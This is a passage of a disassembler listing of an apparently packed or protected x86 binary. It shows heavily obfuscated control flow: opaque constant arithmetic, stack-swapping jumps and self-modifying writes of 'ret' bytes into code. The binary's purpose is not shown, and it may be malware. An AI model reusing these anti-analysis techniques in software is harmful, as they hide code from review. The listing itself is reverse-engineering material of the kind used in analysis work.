KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449F8E loc_44477A: ; CODE XREF: sub_449F8E+6j jmp loc_44BEF8 ; END OF FUNCTION CHUNK FOR sub_449F8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C62A loc_44477F: ; CODE XREF: sub_43C62A+Dj jmp loc_44947D ; END OF FUNCTION CHUNK FOR sub_43C62A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_444784: ; CODE XREF: sub_444581:loc_439040j and ebx, 76FF475Fh loc_44478A: ; CODE XREF: y22d6.y.:loc_43C6BFj add ebx, 0ABCCB075h xchg ebx, [esp+0] jmp sub_44D293 ; END OF FUNCTION CHUNK FOR sub_444581 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_372. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_444799: ; CODE XREF: sub_44271A+3352j jmp loc_44E1CF ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44479E: ; CODE XREF: sub_4432B8:loc_43EB52j ; y22d6.y.:0043EB6Bj and eax, 0ECEA7DDDh xor eax, 5404B62Dh call sub_43CA1A loc_4447AF: ; CODE XREF: y22d6.y.:loc_4486E9j call sub_44C622 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_4447B5: ; CODE XREF: sub_43E81B+98DCj jmp loc_43AC35 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- loc_4447BA: ; CODE XREF: y22d6.y.:004389A2j jmp locret_437DB7 ; --------------------------------------------------------------------------- loc_4447BF: ; CODE XREF: y22d6.y.:00446DD7j or esi, edx ror edx, 3 xchg edi, [esi] loc_4447C6: ; CODE XREF: y22d6.y.:loc_445F8Dj mov eax, 0BB0E1C2h call sub_43CA1A rol eax, 12h jmp loc_44CDF0 ; --------------------------------------------------------------------------- loc_4447D8: ; CODE XREF: y22d6.y.:0044C23Fj jge loc_44113A ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_4447DE: ; CODE XREF: sub_43C6D7-3248j jmp loc_4402F5 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- and eax, ecx jnz loc_43B659 jmp loc_44113A ; --------------------------------------------------------------------------- call nullsub_8 jmp ds:dword_41E130 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449C0 loc_4447FB: ; CODE XREF: sub_4449C0+16j jmp sub_43C62A ; END OF FUNCTION CHUNK FOR sub_4449C0 ; --------------------------------------------------------------------------- loc_444800: ; CODE XREF: y22d6.y.:00440D99j jmp loc_44C5B4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] dw 5789h dd 87000049h, 0E957243Ch, 91D0h ; --------------------------------------------------------------------------- loc_444814: ; CODE XREF: y22d6.y.:0043700Bj ; y22d6.y.:0043FF71j rol eax, 0Fh cmp eax, 0AADAFBBDh jmp loc_448882 ; =============== S U B R O U T I N E ======================================= sub_444822 proc near ; CODE XREF: sub_43CB9B+7A6Ep ; y22d6.y.:004479D2j ; FUNCTION CHUNK AT 00440345 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044758A SIZE 00000014 BYTES xchg edi, [esp+0] pop edi call sub_4397E6 mov eax, 0E211C416h call sub_444581 jmp loc_440345 sub_444822 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448039 loc_44483A: ; CODE XREF: sub_448039:loc_43E713j jnz loc_448040 retn ; END OF FUNCTION CHUNK FOR sub_448039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_444841: ; CODE XREF: sub_43C65F+72Bj jmp loc_44B31F ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6C5 loc_444846: ; CODE XREF: sub_43C6C5+Dj jmp sub_4396B2 ; END OF FUNCTION CHUNK FOR sub_43C6C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448039 loc_44484B: ; CODE XREF: sub_448039:loc_448040j cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_448040 retn ; END OF FUNCTION CHUNK FOR sub_448039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44485A: ; CODE XREF: sub_43B252+9440j jmp loc_44E511 ; END OF FUNCTION CHUNK FOR sub_43B252 ; =============== S U B R O U T I N E ======================================= sub_44485F proc near ; CODE XREF: sub_43A1BC:loc_438007p ; y22d6.y.:00448ABCj ; FUNCTION CHUNK AT 00442321 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C5A7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044D50D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044DD3B SIZE 00000012 BYTES push ebx jmp loc_44DD3B sub_44485F endp ; =============== S U B R O U T I N E ======================================= sub_444865 proc near ; CODE XREF: sub_441F08-9EE3j ; y22d6.y.:00442AC7j ... ; FUNCTION CHUNK AT 00443EE7 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov byte ptr [eax], 0C3h jmp loc_443EE7 sub_444865 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444871 proc near ; CODE XREF: sub_405299+99p ; sub_4088D0+107p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438E66 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043B973 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440978 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00444700 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004455CF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044754F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044C0D6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044C527 SIZE 00000011 BYTES push ebx jmp loc_43B973 sub_444871 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_444877: ; CODE XREF: sub_44271A:loc_44D60Aj mov esp, ebp pop ebp mov eax, ds:dword_444BAC or eax, eax jmp loc_43BD19 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_444887: ; CODE XREF: sub_447BB2:loc_44184Cj pop edi sub edi, 0B9BBBC42h and edi, 0FE3F97A0h loc_444894: ; CODE XREF: y22d6.y.:loc_437FC0j rol edi, 0Bh sub edi, 1164E1E7h xor edi, 330601A2h sub eax, edi xchg ebp, [esp+4+var_4] jmp loc_4445BD ; END OF FUNCTION CHUNK FOR sub_447BB2 ; --------------------------------------------------------------------------- sbb ecx, ebx jmp sub_44807C ; --------------------------------------------------------------------------- loc_4448B4: ; CODE XREF: y22d6.y.:00443DEDj mov [ebx], esi ror eax, 1 pop ecx ; START OF FUNCTION CHUNK FOR sub_439E63 loc_4448B9: ; CODE XREF: sub_439E63:loc_443DE0j add esi, 61419A93h mov [esi], eax pop esi jmp loc_44BC50 ; END OF FUNCTION CHUNK FOR sub_439E63 ; =============== S U B R O U T I N E ======================================= sub_4448C7 proc near ; DATA XREF: y22d6.y.:0043D490o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00439CC5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FBD3 SIZE 00000017 BYTES push eax ror eax, 4 push ebp mov ebp, edi xchg ebp, [esp+8+var_8] push 74D8A468h jmp loc_439CC5 sub_4448C7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4448DB: ; CODE XREF: sub_438B66+C965j rol edx, 18h jnb loc_442A37 and ecx, ebx jmp loc_4488A7 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CEE2 loc_4448EB: ; CODE XREF: sub_43CEE2:loc_4487DFj mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] loc_4448F4: ; CODE XREF: y22d6.y.:004499BCj add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] jmp loc_437ADB ; END OF FUNCTION CHUNK FOR sub_43CEE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_444902: ; CODE XREF: sub_43B7D4:loc_4485C7j xor edx, ecx jmp loc_442DC7 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4482CF loc_444909: ; CODE XREF: sub_4482CF+223Cj mov eax, ecx not esi loc_44490D: ; CODE XREF: y22d6.y.:loc_43CED3j jmp loc_444BB5 ; END OF FUNCTION CHUNK FOR sub_4482CF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_319. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_444913: ; CODE XREF: y22d6.y.:0043FBBEj jmp loc_43F19D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_444918: ; CODE XREF: sub_438A94+D2Cj ; y22d6.y.:loc_4489A8j jmp loc_439A82 ; END OF FUNCTION CHUNK FOR sub_438A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44491D: ; CODE XREF: sub_448EB6+3F0Dj jnz loc_438629 jmp loc_44AACE ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- locret_444928: ; CODE XREF: y22d6.y.:0044A437j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_444929: ; CODE XREF: sub_43E7BF+D860j jmp loc_440CD3 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; --------------------------------------------------------------------------- loc_44492E: ; CODE XREF: y22d6.y.:00440C25j jmp loc_442A4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_444933: ; CODE XREF: sub_43D20E+Aj jmp loc_448B23 ; END OF FUNCTION CHUNK FOR sub_43D20E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_444939: ; CODE XREF: sub_44066C:loc_43A6FDj xchg eax, [esp+0] mov ebp, eax pop eax push 615D2366h pop eax sub eax, 776C4E2Bh add eax, 8BE792Fh cmp eax, 19EDF542h jmp loc_44A4F8 ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- loc_44495C: ; DATA XREF: sub_43A9C6+33FBo xchg ebp, [esp] mov edx, ebp pop ebp mov eax, [esp] jmp loc_43A134 ; --------------------------------------------------------------------------- push edi push 0C5E79966h ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_444970: ; CODE XREF: sub_448EB6:loc_443282j pop edi add edi, 67B75AA4h xor edi, 0C74BA47Ch jmp loc_43E4D9 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- not ecx jmp sub_43FD7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_444989: ; CODE XREF: sub_442C0C:loc_441C9Ej jnz loc_43F5DF jmp loc_447C6A ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_444994: ; CODE XREF: sub_44D7E0-2224j jge loc_43C0EB ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; START OF FUNCTION CHUNK FOR sub_449ECF loc_44499A: ; CODE XREF: sub_449ECF-1813j jmp loc_43A31B ; END OF FUNCTION CHUNK FOR sub_449ECF ; --------------------------------------------------------------------------- xchg edi, [ebp+0] shr ebx, 19h cmp edx, 0ADB75C54h jmp loc_44D874 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_4449B0: ; CODE XREF: sub_4431CD+3361j sub ebx, ebp or edx, edi push esi jo loc_44D89E jmp loc_443964 ; END OF FUNCTION CHUNK FOR sub_4431CD ; =============== S U B R O U T I N E ======================================= sub_4449C0 proc near ; CODE XREF: y22d6.y.:00438765j ; sub_43E5C2:loc_43A2E6p ; FUNCTION CHUNK AT 004447FB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B211 SIZE 00000001 BYTES ; FUNCTION CHUNK AT 0044CFD4 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx add eax, 852BDA22h jno loc_44CFD4 xor eax, 57B3BF20h jmp loc_4447FB sub_4449C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449CBB loc_4449DB: ; CODE XREF: sub_44BBBA:loc_439017j ; sub_449CBB-10C92j add eax, 242ABA28h xchg eax, [esp+0] jmp sub_44A9DF ; END OF FUNCTION CHUNK FOR sub_449CBB ; --------------------------------------------------------------------------- xchg ebx, [eax] jmp sub_4404E5 ; --------------------------------------------------------------------------- loc_4449F0: ; CODE XREF: y22d6.y.:0043A588j push offset loc_43D92B ; START OF FUNCTION CHUNK FOR sub_44371A loc_4449F5: ; CODE XREF: sub_44371A:loc_43A446j jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_44371A ; =============== S U B R O U T I N E ======================================= sub_4449FA proc near ; DATA XREF: y22d6.y.:0043899Eo var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044069C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044394A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443B6E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445444 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00447423 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00447500 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A4B7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044C884 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044E105 SIZE 00000008 BYTES jb loc_44E105 xchg eax, [esp+0] mov edx, eax and eax, ebp jmp loc_44C884 sub_4449FA endp ; --------------------------------------------------------------------------- xor eax, edx jmp loc_445C2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_444A13: ; CODE XREF: sub_43EC01:loc_444BB0j xor edx, 1663A1D8h and edx, 9B27245Fh add edx, 651FBD25h mov [edx], eax pop edx jmp loc_44BAD3 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- loc_444A2D: ; CODE XREF: y22d6.y.:00449DE8j adc eax, esi mov edx, [edi] ; START OF FUNCTION CHUNK FOR sub_44633F loc_444A31: ; CODE XREF: sub_44633F:loc_449DDAj xor edi, 8E84092Ch add edi, 70C69362h add edi, ebp add edi, 648AB9B5h mov [edi], eax pop edi jmp loc_44C1CA ; END OF FUNCTION CHUNK FOR sub_44633F ; =============== S U B R O U T I N E ======================================= sub_444A4D proc near ; DATA XREF: y22d6.y.:0043D0ABo ; FUNCTION CHUNK AT 0044E11A SIZE 00000005 BYTES add eax, 11F98B01h xchg eax, [esp+0] jmp loc_44E11A sub_444A4D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4410E0 loc_444A5B: ; CODE XREF: sub_4410E0-38FBj popf mov eax, [ebp-10h] cmp eax, [ebp-18h] jb loc_438C96 jmp loc_4432A6 ; END OF FUNCTION CHUNK FOR sub_4410E0 ; --------------------------------------------------------------------------- locret_444A6D: ; CODE XREF: y22d6.y.:loc_43880Dj retn ; --------------------------------------------------------------------------- loc_444A6E: ; DATA XREF: y22d6.y.:0043BD68o mov eax, [eax] or eax, eax jnz loc_44B2AE jmp loc_43903B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_444A7D: ; CODE XREF: sub_43E185:loc_445A93j add eax, edi pop edi mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_44919A jmp loc_441F2E ; END OF FUNCTION CHUNK FOR sub_43E185 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_298. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_444A91 proc near ; CODE XREF: y22d6.y.:004426F8j ; sub_4409F4:loc_44DF2Ep ; FUNCTION CHUNK AT 0044574E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044BE1D SIZE 00000017 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-8] push edi push 0A6A390A5h jmp loc_44574E sub_444A91 endp ; --------------------------------------------------------------------------- mov [eax], edi jmp sub_447BB2 ; --------------------------------------------------------------------------- push 4070440Ch loc_444AAF: ; CODE XREF: y22d6.y.:0044C843j pop eax xor eax, 0B7177876h and eax, 0E4C3D85Ch add eax, 8E532D75h jmp loc_44CD66 ; --------------------------------------------------------------------------- loc_444AC7: ; DATA XREF: sub_43E0A9:loc_443C4Eo push esi push 6561F65Dh call sub_443B55 loc_444AD2: ; CODE XREF: y22d6.y.:00447152j jmp loc_4460FE ; =============== S U B R O U T I N E ======================================= sub_444AD7 proc near ; CODE XREF: sub_447896-130Dp ; y22d6.y.:0044DADDj xchg edx, [esp+0] pop edx mov byte ptr [eax], 0C3h jmp sub_43E39E sub_444AD7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ecx push 0A72BCDB7h pop ecx add ecx, 0E0F5C7CEh rol ecx, 17h jmp loc_443A52 ; --------------------------------------------------------------------------- locret_444AF8: ; CODE XREF: y22d6.y.:loc_43FDAAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_444AF9: ; CODE XREF: sub_44271A+91FBj jmp loc_43D570 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- dw 914Ch dword_444B00 dd 131C09Ch ; DATA XREF: sub_43B7B5+4r ; sub_43B035+4B03w ... ; --------------------------------------------------------------------------- loc_444B04: ; CODE XREF: y22d6.y.:0043A03Cj jmp loc_4456FD ; --------------------------------------------------------------------------- push esi push 0B4830062h pop esi xor esi, ds:4000E6h add esi, 0C4955298h xchg esi, [esp] jmp loc_448107 ; --------------------------------------------------------------------------- not esi jmp loc_441F06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_444B2B: ; CODE XREF: sub_44D3B1:loc_438998j jl loc_449054 sub ebp, 8050328Ah jmp loc_43E07A ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_444B3C: ; CODE XREF: sub_438B66+EC34j jno loc_43937F and ebx, 0F2720813h loc_444B48: ; CODE XREF: sub_438B66:loc_44223Aj inc eax mov [ebp-2Ch], eax mov dword ptr [ebp-20h], 0FFFFFFFFh loc_444B53: ; CODE XREF: y22d6.y.:004471D0j jnb loc_44B544 jmp loc_448359 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- mov eax, 20413B0Fh call sub_43CA1A mov ds:off_41E1A0, eax lea eax, loc_449269 mov byte ptr [eax], 0C3h jmp loc_4429E1 ; =============== S U B R O U T I N E ======================================= sub_444B7C proc near ; CODE XREF: y22d6.y.:00442BBEj ; y22d6.y.:004436C6p xchg edi, [esp+0] pop edi cmp eax, ecx pop ecx jnz loc_44506C jmp loc_44884A sub_444B7C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 11C5h dword_444B90 dd 0 ; DATA XREF: sub_44371A-5FB7w ; sub_44371A+24AEr dword_444B94 dd 0 ; DATA XREF: y22d6.y.:loc_4425FCr ; sub_44D371r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB4F loc_444B98: ; CODE XREF: sub_44DB4F-402Aj jmp loc_441079 ; END OF FUNCTION CHUNK FOR sub_44DB4F ; --------------------------------------------------------------------------- db 37h, 0A8h, 6 dword_444BA0 dd 0 ; DATA XREF: sub_4432B8:loc_44358Ar ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_444BA4: ; CODE XREF: sub_44E5C7-6B7Fj jmp loc_4489D5 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- db 40h, 0A9h, 0BCh dword_444BAC dd 0 ; DATA XREF: sub_44271A-9E65w ; sub_44271A+2160r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_444BB0: ; CODE XREF: sub_43EC01-6D0Bj jmp loc_444A13 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4482CF loc_444BB5: ; CODE XREF: sub_4482CF:loc_44490Dj shl ecx, 6 loc_444BB8: ; CODE XREF: sub_4482CF:loc_44A505j push edi mov edi, eax xchg edi, [esp+4+var_4] push offset loc_43C07E jmp loc_4415DC ; END OF FUNCTION CHUNK FOR sub_4482CF ; --------------------------------------------------------------------------- jl loc_4385B6 jmp sub_43ED4E ; --------------------------------------------------------------------------- loc_444BD3: ; CODE XREF: y22d6.y.:00445045j ; y22d6.y.:loc_445E16j mov eax, [esp] push eax call sub_44C171 or eax, eax jnz loc_438B14 jmp loc_44D615 ; --------------------------------------------------------------------------- loc_444BE9: ; CODE XREF: y22d6.y.:0044B774j push esi push 0E241E308h pop esi loc_444BF0: ; CODE XREF: y22d6.y.:0043E979j rol esi, 1Dh add esi, 5417F2C7h and esi, 0CB175126h call sub_43D8E0 ; START OF FUNCTION CHUNK FOR sub_43DCC0 loc_444C04: ; CODE XREF: sub_43DCC0+BAD9j mov edx, eax loc_444C06: ; CODE XREF: y22d6.y.:0043E6EFj jmp loc_44BA70 ; END OF FUNCTION CHUNK FOR sub_43DCC0 ; --------------------------------------------------------------------------- mov edx, ds:dword_4483B0 or edx, edx jnz loc_4487F6 jmp loc_439BE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439FCB loc_444C1E: ; CODE XREF: sub_439FCB:loc_44B1B6j jge loc_43F015 ; END OF FUNCTION CHUNK FOR sub_439FCB ; START OF FUNCTION CHUNK FOR sub_4446B8 loc_444C24: ; CODE XREF: sub_4446B8+9A48j jmp nullsub_1 ; END OF FUNCTION CHUNK FOR sub_4446B8 ; --------------------------------------------------------------------------- shr ecx, 0Ch sub ecx, 0E750C2E6h xchg esi, [ebx] jmp loc_444EB6 ; --------------------------------------------------------------------------- popf jmp loc_439CAF ; --------------------------------------------------------------------------- loc_444C3F: ; CODE XREF: y22d6.y.:loc_44402Cj push 726E12A6h pop ecx add ecx, 0EDAC3248h test ecx, 40000h jmp loc_43BCA4 ; --------------------------------------------------------------------------- loc_444C56: ; CODE XREF: y22d6.y.:0043F6D5j imul byte ptr [edx] cmp al, 0A4h jz loc_438D00 jmp loc_443726 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_444C65: ; CODE XREF: sub_4432B8+147j jo loc_439B02 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_444C6B proc near ; CODE XREF: sub_449641:loc_43FB68p xchg ebx, [esp+0] pop ebx ror eax, 4 call sub_4455ED loc_444C77: ; CODE XREF: sub_43BEF7+917Aj jmp nullsub_72 sub_444C6B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E38B loc_444C7C: ; CODE XREF: sub_44E38B-2AC7j jno loc_43D48B loc_444C82: ; CODE XREF: sub_44E38B:loc_442D03j push offset sub_43EC01 jmp nullsub_278 ; END OF FUNCTION CHUNK FOR sub_44E38B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB3E loc_444C8C: ; CODE XREF: sub_44DB3E:loc_439159j add edi, 94C2F774h xor edi, 26085721h loc_444C98: ; CODE XREF: y22d6.y.:loc_439DA9j and edi, 4C2ECBE5h add edi, 0D16AB34h popf xor eax, edi jmp loc_4385BC ; END OF FUNCTION CHUNK FOR sub_44DB3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_444CAC: ; CODE XREF: sub_43C55B+9j jnb loc_44D17A sub al, 99h call sub_43E31B loc_444CB9: ; CODE XREF: sub_43B98D:loc_44C477j jz loc_44BF4C loc_444CBF: ; CODE XREF: sub_4464C8+Aj jmp loc_43AF41 ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_444CC4: ; CODE XREF: sub_439F5A+8B7j jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- xor ecx, eax sbb edx, ecx cmp edx, 0BD5443ECh loc_444CD3: ; CODE XREF: y22d6.y.:loc_440558j jmp loc_44BFA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_444CD8: ; CODE XREF: sub_44A5E5+39BCj and edi, 6FAE998h sub edi, 11A53FCAh test edi, 8000000h jmp loc_4396EB ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- loc_444CEF: ; CODE XREF: y22d6.y.:0043AEFDj pop ecx lea eax, sub_44A5E5 mov byte ptr [eax], 0C3h jmp sub_44A5E5 ; --------------------------------------------------------------------------- push eax push 726C6E49h pop eax xor eax, 0ABFA10FFh cmp eax, 0DE1BE748h jmp loc_443BB7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_444D17: ; CODE XREF: sub_441A2B:loc_437514j add esi, 0E8FE048Fh call sub_44A3E9 loc_444D22: ; CODE XREF: sub_43704E:loc_43D268j pop eax xor eax, 84406E7Dh cmp eax, 0ACD66C17h loc_444D2F: ; CODE XREF: sub_43EC92:loc_43FFD5j jmp loc_437117 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- add edi, 9713545Eh test edx, 0B842CBC8h jmp loc_448C30 ; =============== S U B R O U T I N E ======================================= sub_444D45 proc near ; CODE XREF: sub_44928B-7CB9p ; y22d6.y.:00448717j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043774B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00437A5C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CD11 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444521 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004464A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A5F0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044E663 SIZE 00000018 BYTES xchg ebx, [esp-4+arg_0] pop ebx push edx call sub_44A413 push 8921227h pop eax jmp loc_44A5F0 sub_444D45 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_444D5A: ; CODE XREF: sub_444F37:loc_44312Fj jnz loc_444D67 mov eax, [ebp+8] or dword ptr [eax-8], 8 ; END OF FUNCTION CHUNK FOR sub_444F37 ; START OF FUNCTION CHUNK FOR sub_43B98D loc_444D67: ; CODE XREF: sub_43C17E-4E86j ; sub_43B98D-1101j ... jnz loc_4464F1 mov eax, [ebp+8] jmp loc_44282C ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- loc_444D75: ; CODE XREF: y22d6.y.:loc_442D95j ; y22d6.y.:loc_44DEC0j push 8F2C3F7h pop eax and eax, 0A5DD0182h rol eax, 9 or eax, 0AC2746D5h jmp loc_442455 ; --------------------------------------------------------------------------- loc_444D8F: ; CODE XREF: y22d6.y.:0043BC28j jo loc_44DC9F ; =============== S U B R O U T I N E ======================================= sub_444D95 proc near ; CODE XREF: sub_44B196+1Ap ; FUNCTION CHUNK AT 00437C4D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043A109 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A39A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043CEF3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043F943 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443184 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044705D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044781A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044CDA7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D427 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D7C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DDC3 SIZE 0000001B BYTES xchg esi, [esp+0] pop esi jz loc_43A3A1 jmp loc_44781A sub_444D95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_444DA4: ; CODE XREF: sub_4432B8:loc_4475AEj push eax call sub_44D313 loc_444DAA: ; CODE XREF: y22d6.y.:00448342j jmp nullsub_317 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B9F3 loc_444DAF: ; CODE XREF: 